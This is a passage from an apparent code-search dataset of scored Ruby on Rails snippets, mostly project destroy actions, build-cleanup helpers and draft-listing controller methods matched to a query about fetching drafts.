"text": "def destroy\n links = ProjectTechnology.where(:project_id => @project.id)\n puts \"========================\".yellow\n links.each do |l|\n puts \"Destroy : #{l}\".red\n l.destroy\n end\n puts \"========================\".yellow\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "44b4c5c102710e4d6cd96b233f8820c5",
"score": "0.61792105",
"text": "def destroy\n @ourproject = Ourproject.find(params[:id])\n @ourproject.destroy\n\n respond_to do |format|\n format.html { redirect_to ourprojects_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "729111d557e8b9439ca0ad8d79ac494e",
"score": "0.61766005",
"text": "def clean()\n rels = releases()\n rels.pop()\n\n unless rels.empty?\n rm = ['rm', '-rf'].concat(rels.map {|r| release_dir(r)})\n rm << release_dir('skip-*')\n cmd.ssh(rm)\n end\n end",
"title": ""
},
{
"docid": "181af44a7cadd506b32e6b09067098ce",
"score": "0.6171503",
"text": "def destroy\n @project.destroy\n redirect_to projects_url, notice: I18n.t('flash.actions.project.destroy.notice')\n end",
"title": ""
},
{
"docid": "b816f516510be8efcdaf8005af347b98",
"score": "0.61658525",
"text": "def destroy\n @project = Admin::Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_projects_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "9cbc7f365d3c6b3dd8fb3f0e109168a4",
"score": "0.6164292",
"text": "def index\n @counter=0\n @projects = Project.all\n @projects=@projects.reverse\n @projects.delete(Project.find(10))\n @projects.delete(Project.find(14))\n @wallpaper=Project.find(10)\n @bug=Project.find(14)\n end",
"title": ""
},
{
"docid": "fcfd9815e9233eed86e4be9cbd0242c4",
"score": "0.61593294",
"text": "def destroy\n # Delete tasks within project\n @project.tasks.each do |task|\n task.destroy\n end\n\n # Delete items and records within project\n @project.items.each do |item|\n item.records.each do |record|\n record.destroy\n end\n item.destroy\n end\n\n # Delete jobs within project\n @project.jobs.each do |job|\n job.destroy\n end\n\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5893ea7cb4b280b0a73ae1104c0a8003",
"score": "0.6149773",
"text": "def destroy\n authorize @project, :can_manage_projects?\n @project.destroy\n redirect_to root_url, notice: 'Project was successfully destroyed.'\n end",
"title": ""
},
{
"docid": "eafeea8cbe10c51a55bfdfa6c1258203",
"score": "0.6148734",
"text": "def destroy\n \t@project = Project.find(params[:id])\n \t#ap @project\n \t#abort\n \n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "29aee7f8c9969ab99320d50642c53379",
"score": "0.6148604",
"text": "def destroy\n @project = Project.find params[:id]\n @project.destroy\n redirect_to projects_path, notice: 'The project was deleted'\n end",
"title": ""
},
{
"docid": "383ef87feb2f3c59f6a59f8f5a3d0deb",
"score": "0.6147461",
"text": "def destroy\n @new_nav = true;\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to project_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "eb9b0e31953ee63fcb043ee6a331e345",
"score": "0.61460733",
"text": "def destroy\n authorize! :destroy, @project\n @project.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "5383e598d3e65e6b22a8d9fc8901a971",
"score": "0.6142752",
"text": "def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_projects_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "e815018a7070c3dde4f67c0b89f00a7f",
"score": "0.6140157",
"text": "def destroy\n @unfinished_project = UnfinishedProject.find(params[:id])\n @unfinished_project.destroy\n\n respond_to do |format|\n format.html { redirect_to unfinished_projects_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3ea0a073926d352f667b7c51b7a3bf6b",
"score": "0.61332947",
"text": "def destroy\n @project.destroy\n render json: {message: 'Projeto Excluido'}, status: :ok\n end",
"title": ""
},
{
"docid": "4206ca5875e3425c409df0ce9ab8d00b",
"score": "0.6129534",
"text": "def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_projects_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f2acc3ebbb4f81fe9a1867c7bd9ad528",
"score": "0.61291826",
"text": "def destroy\n p = Project.find(params[:id])\n p.done = true\n p.save\n redirect_to action: \"index\"\n end",
"title": ""
},
{
"docid": "6c75496df9bab2d169a382a6e3b866ba",
"score": "0.61284244",
"text": "def delete_confirm\n @project = Project.find(params[:id])\n end",
"title": ""
},
{
"docid": "685f736c508904f42d54efdf7035d9e5",
"score": "0.6126712",
"text": "def destroy\n if @project.user_id == current_user.id\n @project.destroy\n else\n render json: { error: 'Only the project owner can delete the project' }, status: :unauthorized\n end\n end",
"title": ""
},
{
"docid": "47d38735fa591e372102e758cb53eb1e",
"score": "0.61249566",
"text": "def destroy\n project = ProjectConfig.find(params[:id])\n flash.now[:notice] = \"The project #{project.name} has been removed from the configuration\"\n project.destroy\n find_configurations\n end",
"title": ""
},
{
"docid": "5cc64bd9dd877c2ed21b92d366a9daae",
"score": "0.6116441",
"text": "def sync_projects(options = {})\n exclude(@core_projects) # Skip core projects\n processed = Array.new(excluded) # List of names of processed projects\n dep_queue = Array.new # Queue of Drupid::Project objects whose dependencies must be checked. This is always a subset of processed.\n\n @makefile.each_project do |makefile_project|\n dep_queue << makefile_project if sync_project(makefile_project)\n processed += makefile_project.extensions\n end\n\n unless options[:nofollow]\n # Recursively get dependent projects.\n # An invariant is that each project in the dependency queue has been processed\n # and cached locally. Hence, it has a version and its path points to the\n # cached copy.\n while not dep_queue.empty? do\n project = dep_queue.shift\n project.dependencies.each do |dependent_project_name|\n unless processed.include?(dependent_project_name)\n debug \"Queue dependency: #{dependent_project_name} <- #{project.extended_name}\"\n new_project = Project.new(dependent_project_name, project.core)\n dep_queue << new_project if sync_project(new_project)\n @makefile.add_project(new_project)\n processed += new_project.extensions\n end\n end\n end\n end\n\n # Determine projects that should be deleted\n pending_delete = @platform.project_names - processed\n pending_delete.each do |p|\n proj = platform.get_project(p)\n log.action(DeleteAction.new(platform, proj))\n if which('drush').nil?\n if @force_changes\n owarn \"Forcing deletion.\"\n else\n log.error \"#{proj.extended_name}: use --force to force deletion or install Drush >=6.0.\"\n end\n elsif proj.installed?(site)\n if @force_changes\n owarn \"Deleting an installed/enabled project.\"\n else\n log.error \"#{proj.extended_name} cannot be deleted because it is installed\"\n end\n end\n end\n end",
"title": ""
},
{
"docid": "0e872a94eca56a40b8dea1f757b6f0db",
"score": "0.61054295",
"text": "def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to admin_projects_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8f3eacb2989f10c9d45ac616fd9503fe",
"score": "0.6104413",
"text": "def destroy\n @project = Project.find(params[:id])\n @owner = User.find(@project.user_id)\n if @owner.id == current_user.id\n\t @project.destroy\n\t\n \t respond_to do |format|\n \t format.html { redirect_to @owner }\n \t format.json { head :no_content }\n \t end\n \telse\n\t \tredirect_to \"/\"\n \tend\n end",
"title": ""
},
{
"docid": "e7e4545d2e2ca0a23be52440031fbec4",
"score": "0.61008954",
"text": "def clean\n project.run 'rm -rf /var/cache/apk/*'\n end",
"title": ""
},
{
"docid": "f8beb9fce7155c760878f22fc1f40300",
"score": "0.6098819",
"text": "def clean_build_directory\n FileUtils.rm_rf Dir.glob(File.join(@project.build_path, '*'))\n end",
"title": ""
},
{
"docid": "06986bfe69868e1c9a6d0e03bed7e913",
"score": "0.609664",
"text": "def destroy\n @subproject = Subproject.find(params[:id])\n projectid = @subproject.project.id\n @subproject.destroy\n redirect_to project_subprojects_path(:project_id => projectid), :notice => 'Projekt wurde gelöscht.'\n end",
"title": ""
},
{
"docid": "c49d73385bb378dd45cea7c185ff7379",
"score": "0.6095033",
"text": "def destroy\n @pat_project = Pat::Project.find(params[:id])\n @pat_project.destroy\n\n respond_to do |format|\n format.html { redirect_to(pat_projects_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "fa01a80d5f7b85ac78bae2ed338c1f3e",
"score": "0.60923654",
"text": "def destroy\n @project = @key_questions_project.project\n @key_questions_project.destroy\n respond_to do |format|\n format.html do\n redirect_to edit_project_path(@project, page: 'key_questions'),\n notice: t('removed')\n end\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "27c52cd03a054511ea79b4ec46c02e2f",
"score": "0.6090834",
"text": "def destroy\n @project = @user.project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_projects_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "6d94046c95e49765f090d1a168c585e6",
"score": "0.6074563",
"text": "def db_clear\n [Project, Milestone, Category, Version, LoaderRelease].each {|x| x.delete_all}\n end",
"title": ""
},
{
"docid": "2ff2dbd3b40ee8ce8dc2e3b2aea93ed4",
"score": "0.60720146",
"text": "def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to administration_projects_path }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "45448a287197b29896c1f45bff14f193",
"score": "0.60614425",
"text": "def destroy\n project = @project_permission.project\n user = @project_permission.user\n @project_permission.destroy\n redirect_to project, notice: \"#{user.fullname} has been removed from #{project.name}.\"\n end",
"title": ""
},
{
"docid": "8b451c34dacb3dad3e4deb2359d0a1cb",
"score": "0.6051116",
"text": "def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n \n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "df47059e6de0839dc61a58977c84eb6d",
"score": "0.6050454",
"text": "def purge(*args)\n option = args.first || :tests\n case option.to_sym\n when :tests\n current_project.execution_cycles.each(&:destroy)\n logger.info 'Purged all data for tests'\n when :clusters\n current_project.purge_clusters\n logger.info 'Purged all clusters'\n else\n current_project.destroy\n logger.info 'Purged all project data'\n end\n end",
"title": ""
}
] |
cbe26316a6891ad4c3b06d047512b404
|
GET /drafts GET /drafts.xml
|
[
{
"docid": "c500ee9d46fc7c312973cd7840ec28e3",
"score": "0.760655",
"text": "def index\n @drafts = Draft.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @drafts }\n end\n end",
"title": ""
}
] |
[
{
"docid": "bffa0dcde477ce22fb2cbaa12267e218",
"score": "0.7388866",
"text": "def get_published_drafts\n service_response = SandboxManagement::CmsConfigurator::GetPublishedDraft.new(params).perform\n render_api_response(service_response)\n end",
"title": ""
},
{
"docid": "229e1e81378e0b348e629e67c3e64e45",
"score": "0.73670244",
"text": "def index\n @drafts = Draft.draft_order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @drafts }\n end\n end",
"title": ""
},
{
"docid": "42856908151178ec41263c3a4b64592a",
"score": "0.7162303",
"text": "def index\n @projects = @user.projects.drafts\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @projects }\n end\n end",
"title": ""
},
{
"docid": "866a7e7588fa495856f0ea37014618e5",
"score": "0.7079566",
"text": "def index\n @drafts = Draft.all\n end",
"title": ""
},
{
"docid": "866a7e7588fa495856f0ea37014618e5",
"score": "0.7079566",
"text": "def index\n @drafts = Draft.all\n end",
"title": ""
},
{
"docid": "837a34cc175ad37d74fdada4d9b3f8bc",
"score": "0.70291334",
"text": "def drafts\n response = get 'drafts'\n response.map{|item| Hashie::Mash.new(item)}\n end",
"title": ""
},
{
"docid": "837a34cc175ad37d74fdada4d9b3f8bc",
"score": "0.70291334",
"text": "def drafts\n response = get 'drafts'\n response.map{|item| Hashie::Mash.new(item)}\n end",
"title": ""
},
{
"docid": "318dc844d63356c90051e07b69468d12",
"score": "0.7003432",
"text": "def list_drafts(opts = {})\n data, _status_code, _headers = list_drafts_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "142e3670099e8456fd33f3d170562047",
"score": "0.69325864",
"text": "def show\n @draft = Draft.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @draft }\n end\n end",
"title": ""
},
{
"docid": "142e3670099e8456fd33f3d170562047",
"score": "0.69325864",
"text": "def show\n @draft = Draft.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @draft }\n end\n end",
"title": ""
},
{
"docid": "4ab08c4cabc2c301e8e6f87c98da24d9",
"score": "0.69075614",
"text": "def index\n @projects = Project.drafts\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @projects }\n end\n end",
"title": ""
},
{
"docid": "8162818f416aab9c02628b5d58584f55",
"score": "0.6854139",
"text": "def get_drafts(accept, opts = {})\n data, _status_code, _headers = get_drafts_with_http_info(accept, opts)\n data\n end",
"title": ""
},
{
"docid": "ed740877f36ae3298c4e163a5cd6acc1",
"score": "0.68238086",
"text": "def index\n @drafts = current_user.drafts.all\n if params[:id].present?\n @draft = current_user.drafts.find(params[:id])\n end\n end",
"title": ""
},
{
"docid": "78db0fe881eecfeae9488b0552987fc3",
"score": "0.6803682",
"text": "def drafts\n self.list(:drafts)\n end",
"title": ""
},
{
"docid": "5072f4bf30ab9b42c8de98fe8edf70d2",
"score": "0.66467744",
"text": "def drafts\n posts = site.collections.find { |l, _c| l == \"posts\" }\n posts[1].docs.find_all { |d| d.output_ext == \".html\" && d.draft? } if posts\n end",
"title": ""
},
{
"docid": "fb1c70d8c884659683442560607fc754",
"score": "0.663501",
"text": "def index\n @draft_posts = Post.drafts.order('created_at DESC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @draft_posts }\n end\n end",
"title": ""
},
{
"docid": "edf94b5beb51aaf952b7d45fb7c62eaa",
"score": "0.6593978",
"text": "def drafts\n @articles = policy_scope(current_user.drafts.page(params[:page]))\n render 'api/v1/articles/index'\n end",
"title": ""
},
{
"docid": "a2267a249e6550292e51e13d458db14b",
"score": "0.6584169",
"text": "def list_drafts_0(opts = {})\n data, _status_code, _headers = list_drafts_0_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "fec9f38277085d1dbb4894809f89bad7",
"score": "0.65511596",
"text": "def drafts\n blog.drafts.articles\n end",
"title": ""
},
{
"docid": "a0cb2d38c03847fdda015f164dde92e4",
"score": "0.6504464",
"text": "def index\n @fantasy_drafts = FantasyDraft.all\n end",
"title": ""
},
{
"docid": "fd179e055c0b8e7ae02678ff9e43874d",
"score": "0.6436672",
"text": "def index\n @drafts = current_user.drafts.where(provider_id: current_user.provider_id)\n .order('updated_at DESC').page(params[:page]).per(RESULTS_PER_PAGE)\n end",
"title": ""
},
{
"docid": "a6c70bec38880e0df72a85717f2bca3a",
"score": "0.63985384",
"text": "def drafts\n find(:first, :conditions => {:status => MessageFolder::STATUS[:drafts]})\n end",
"title": ""
},
{
"docid": "acb687b1410feb9641d5892744d357b0",
"score": "0.6289953",
"text": "def get_drafts_with_http_info(accept, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DraftsApi.get_drafts ...'\n end\n # verify the required parameter 'accept' is set\n if @api_client.config.client_side_validation && accept.nil?\n fail ArgumentError, \"Missing the required parameter 'accept' when calling DraftsApi.get_drafts\"\n end\n allowable_values = [\"awaitingTranslation\"]\n if @api_client.config.client_side_validation && opts[:'status'] && !allowable_values.include?(opts[:'status'])\n fail ArgumentError, \"invalid value for \\\"status\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/drafts'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'cursor'] = opts[:'cursor'] if !opts[:'cursor'].nil?\n query_params[:'status'] = opts[:'status'] if !opts[:'status'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/vnd.dyspatch.2020.11+json', '*/*'])\n header_params[:'Accept'] = accept\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'DraftsRead' \n\n # auth_names\n auth_names = opts[:auth_names] || ['Bearer']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DraftsApi#get_drafts\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "4ebfb0c9f683965d8e476679be1714e7",
"score": "0.62662023",
"text": "def show\n @draft_selection = DraftSelection.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @draft_selection }\n end\n end",
"title": ""
},
{
"docid": "c5a6cdbf34aac8223b931b50909cee41",
"score": "0.6250994",
"text": "def show\n @draft_personnel = DraftPersonnel.find(params[:id])\n\n respond_to do |format|\n \n format.xml { render :xml => @draft_personnel }\n end\n end",
"title": ""
},
{
"docid": "70afcd6481f4317d89c54ed4ab5dcc6d",
"score": "0.6221303",
"text": "def articles\n @_drafts\n end",
"title": ""
},
{
"docid": "57be978bcf049853c6418faa55a05c6c",
"score": "0.62174195",
"text": "def show\n @draft = Draft.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @draft }\n end\n end",
"title": ""
},
{
"docid": "a44e94fa7f5a8c1e9b719e714ca58c02",
"score": "0.6171343",
"text": "def destroy\n @draft = Draft.find(params[:id])\n @draft.destroy\n\n respond_to do |format|\n format.html { redirect_to(drafts_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "a44e94fa7f5a8c1e9b719e714ca58c02",
"score": "0.6171343",
"text": "def destroy\n @draft = Draft.find(params[:id])\n @draft.destroy\n\n respond_to do |format|\n format.html { redirect_to(drafts_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "8d0db041e666532cf2768c3eed567e20",
"score": "0.6142774",
"text": "def new\n @draft = Draft.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @draft }\n end\n end",
"title": ""
},
{
"docid": "8d0db041e666532cf2768c3eed567e20",
"score": "0.6142774",
"text": "def new\n @draft = Draft.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @draft }\n end\n end",
"title": ""
},
{
"docid": "b8e973f110bbbf842e855b81e9ac6a08",
"score": "0.6137041",
"text": "def show\n @draft_product = DraftProduct.find(params[:id])\n\n respond_to do |format|\n \n format.xml { render :xml => @draft_product }\n end\n end",
"title": ""
},
{
"docid": "1819394ed6fa909f21912c4eefbce491",
"score": "0.6134467",
"text": "def draft_all\n list_all(type: :draft)\n end",
"title": ""
},
{
"docid": "5e8391dda2556d616dd8b3e21c6b1845",
"score": "0.61036974",
"text": "def show\n @program_draft = ProgramDraft.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @program_draft }\n end\n end",
"title": ""
},
{
"docid": "e75a5ac4832589b22ded3139b91bcd11",
"score": "0.610173",
"text": "def index\n @posts = Post.published\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @posts }\n end\n end",
"title": ""
},
{
"docid": "675c10dd1ec205839945b0098d67afc1",
"score": "0.6077816",
"text": "def create\n @draft = Draft.new(params[:draft])\n\n respond_to do |format|\n if @draft.save\n format.html { redirect_to(drafts_url, :notice => 'Draft was successfully created.') }\n format.xml { render :xml => @draft, :status => :created, :location => @draft }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @draft.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "414fc14d2ae96dea5d57078025560ae3",
"score": "0.59977096",
"text": "def drafts\n filtered_passages = Passage.drafts\n render 'passages/admin/passages_pane', locals: {\n filtered_passages: filtered_passages, partial_name: PassagesHelper.partial_name(:drafts)\n }\n end",
"title": ""
},
{
"docid": "1061f9a80b05a983ccc7e32d24a44f40",
"score": "0.5966286",
"text": "def draft\n # Author\n authorize! :view_sent, MailBox\n\n @mails = MailBox.get_current_draft\n end",
"title": ""
},
{
"docid": "0163605cce5c1def84d1c4f99960fce3",
"score": "0.5934951",
"text": "def show\n @draft_post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @draft_post }\n end\n end",
"title": ""
},
{
"docid": "1046b0a2e333c2453983f16c742e4dd4",
"score": "0.59099245",
"text": "def get_draft_config\n service_response = AdminManagement::CmsConfigurator::GetEntityDraft.new(params).perform\n render_api_response(service_response)\n end",
"title": ""
},
{
"docid": "33fa50b2d12db199313e7b40bcd109ea",
"score": "0.5904163",
"text": "def list_drafts_0_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicySecurityEastWestSecurityDistributedFirewallSettingsDraftsApi.list_drafts_0 ...'\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling PolicySecurityEastWestSecurityDistributedFirewallSettingsDraftsApi.list_drafts_0, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling PolicySecurityEastWestSecurityDistributedFirewallSettingsDraftsApi.list_drafts_0, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = '/global-infra/drafts'\n\n # query parameters\n query_params = {}\n query_params[:'auto_drafts'] = opts[:'auto_drafts'] if !opts[:'auto_drafts'].nil?\n query_params[:'cursor'] = opts[:'cursor'] if !opts[:'cursor'].nil?\n query_params[:'include_mark_for_delete_objects'] = opts[:'include_mark_for_delete_objects'] if !opts[:'include_mark_for_delete_objects'].nil?\n query_params[:'included_fields'] = opts[:'included_fields'] if !opts[:'included_fields'].nil?\n query_params[:'page_size'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'sort_ascending'] = opts[:'sort_ascending'] if !opts[:'sort_ascending'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PolicyDraftListResult')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicySecurityEastWestSecurityDistributedFirewallSettingsDraftsApi#list_drafts_0\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "dd51623adfd033ed9a1555bd681171c1",
"score": "0.5888538",
"text": "def list_drafts_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicySecurityEastWestSecurityDistributedFirewallSettingsDraftsApi.list_drafts ...'\n end\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling PolicySecurityEastWestSecurityDistributedFirewallSettingsDraftsApi.list_drafts, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'page_size'].nil? && opts[:'page_size'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"page_size\"]\" when calling PolicySecurityEastWestSecurityDistributedFirewallSettingsDraftsApi.list_drafts, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = '/infra/drafts'\n\n # query parameters\n query_params = {}\n query_params[:'auto_drafts'] = opts[:'auto_drafts'] if !opts[:'auto_drafts'].nil?\n query_params[:'cursor'] = opts[:'cursor'] if !opts[:'cursor'].nil?\n query_params[:'include_mark_for_delete_objects'] = opts[:'include_mark_for_delete_objects'] if !opts[:'include_mark_for_delete_objects'].nil?\n query_params[:'included_fields'] = opts[:'included_fields'] if !opts[:'included_fields'].nil?\n query_params[:'page_size'] = opts[:'page_size'] if !opts[:'page_size'].nil?\n query_params[:'sort_ascending'] = opts[:'sort_ascending'] if !opts[:'sort_ascending'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PolicyDraftListResult')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicySecurityEastWestSecurityDistributedFirewallSettingsDraftsApi#list_drafts\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "2b77d314c6428b0a6a948e7acbdec2cc",
"score": "0.5886703",
"text": "def drafts\r\n\t\t# so prices always appear in NZD\r\n\t\t@currency = Currency.find(:first)\r\n\r\n\t\t@drafts = Draft.find(:all, :conditions => [ \"user_id = #{@current_user[:id]}\" ])\r\n\tend",
"title": ""
},
{
"docid": "3460eb0bd8ac72fee0129ccdf254f1bd",
"score": "0.58570087",
"text": "def create\n @draft = Draft.new(params[:draft])\n\n respond_to do |format|\n if @draft.save\n flash[:notice] = 'Draft was successfully created.'\n format.html { redirect_to(@draft) }\n format.xml { render :xml => @draft, :status => :created, :location => @draft }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @draft.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "36de4aabaf8e6539109c6c9e98cb9a37",
"score": "0.58560497",
"text": "def drafts\n @emails_important = Email.find(:all, :conditions=>'important=1 and sent=0 and deleted=0')\n\t@emails_ordinary = Email.find(:all, :conditions=>'important=0 and sent=0 and deleted=0')\n #self.index\n\trender :template=>'emails/_drafts'\n end",
"title": ""
},
{
"docid": "907b2401ae86c0ff0d2dad244d8f2bb9",
"score": "0.57956606",
"text": "def find_drafts(*args)\n with_exclusive_scope { self.scoped(:conditions => {:draft => true}).find(*args) }\n end",
"title": ""
},
{
"docid": "0ffa26a4c3eb1af64831f4ff251ee7f2",
"score": "0.5795431",
"text": "def show\n @post204 = Post204.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post204 }\n end\n end",
"title": ""
},
{
"docid": "446e0799e6b2e35638cc421dfe9be48d",
"score": "0.5760334",
"text": "def directory_drafts\n drafts.find_all { |d| File.dirname(d.path) == directory_path }\n end",
"title": ""
},
{
"docid": "36f54dd8f7216a6045851715ef95f91b",
"score": "0.5697335",
"text": "def index\n current_drafter = Drafter.find_by_user(user)\n\n if current_drafter.nil? || current_drafter.draft.nil?\n render json: { error: 'User not currently in draft' }, status: :not_found\n else\n render json: current_drafter.draft.drafters, status: :ok\n end\n end",
"title": ""
},
{
"docid": "ab093f2590100475917c09950011cd20",
"score": "0.5671763",
"text": "def generate_draft_previews(layout)\n drafts = self.drafts\n\n template = Liquid::Template.parse(File.read(\"_templates/post.html\"))\n\n # publish each draft under a randomly generated name, or use the\n # existing file if one is present.\n drafts.each do |draft|\n url = private_url(draft)\n if url\n # take our existing URL like /drafts/foo/<random> (without .html)\n # and give the filename\n file = File.basename(url)\n else\n # create a new name\n file = SecureRandom.hex(30)\n end\n\n # convert the name into a relative path\n file = \"drafts/#{draft.slug}/#{file}\"\n\n # the absolute path in the site's tmp path, where we create the file\n # ready to be deployed.\n live_preview_file = tmp_path(file)\n FileUtils.mkdir_p(File.dirname(live_preview_file))\n\n puts \"#{url ? \"Updating\" : \"Creating\"} draft preview: #{file}\"\n\n File.open(live_preview_file + \".html\", \"w\") do |f|\n f.puts layout.render!(\n \"site\" => self,\n \"draft_preview\" => true,\n \"page\" => { \"title\" => draft.title },\n \"content\" => template.render!(\"site\" => self, \"post\" => draft, \"draft_preview\" => true)\n )\n end\n end\n end",
"title": ""
},
{
"docid": "5e55fb5ce1c1797efe557c7e85d1aad2",
"score": "0.5667639",
"text": "def test_spies_cannot_spy_by_reading_drafts\n get :show, slug: 'a-modest-proposal'\n assert_response :not_found\n end",
"title": ""
},
{
"docid": "fce3394a2c34654a483c3ba03c14787d",
"score": "0.56579226",
"text": "def draft_article\n @articles = Article.where(:status=>2).paginate(:page=>params[:page]||1,:per_page=>15)\n respond_to do |format|\n format.html { render :template=>'admin/article_man'}\n format.json { render json: @articles }\n end\n end",
"title": ""
},
{
"docid": "ba6deb2af7f775e1998dea7e7b8ae298",
"score": "0.56486446",
"text": "def show\n @page = Page.published.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @page }\n end\n end",
"title": ""
},
{
"docid": "a463e059d8176c144aa5c23e72fd3499",
